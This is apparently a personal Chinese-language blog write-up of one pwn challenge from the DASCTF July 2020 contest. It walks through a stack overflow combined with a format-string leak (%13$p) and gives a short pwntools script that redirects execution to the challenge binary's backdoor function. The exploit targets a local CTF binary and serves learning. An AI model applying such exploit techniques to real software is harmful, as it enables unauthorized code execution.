//
xiaoaoaode
Published on 2020-07-26 / 22 Visits
0

DASCTF七月赛个人Writeup

写在开头

这次的这个小比赛我只写出了一道题,老实说确实有点失望,这次暴露了我在”自己写shellcode“和”直接分析汇编代码“上的不足,还有对”seccomp“相关的保护的不熟悉。

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

pwn-虚假签到

程序保护相关信息:

image-20200726104420554

很明显可以栈溢出,但是它提供了两次机会,而且还可以利用用格式化字符串漏洞

image-20200726103752059

旁边的后门程序写的很直白

image-20200726104736597

看起来只要简单覆盖main函数的返回地址就可以了。但是试了就知道,会出错的。因为IDA的反编译看不清楚到底是什么情况,这时只能看汇编代码:

image-20200726105120376

这里将栈里ebp的前一块栈赋值到了ecx,而之后又将esp改到ecx-4的栈的位置,所以最终返回执行的是蓝色框部分的地址:

image-20200726111754257

这样就把backdoor函数放到上图中003c的位置,为了方便,我们需要知道0024位置的那个0xffffcfd0值,经调试,%13$p即可。

解题脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = process('./qiandao')
payload = '%13$p'

p.sendlineafter('name:', payload)
p.recvuntil('0x')
add = int(p.recv(8), 16)
payload2 = 'A' * 0x24 + p32(add) + p32(0x0804857D) * 6	#这里我没有做精确的覆盖
p.sendlineafter('problem?', payload2)
p.interactive()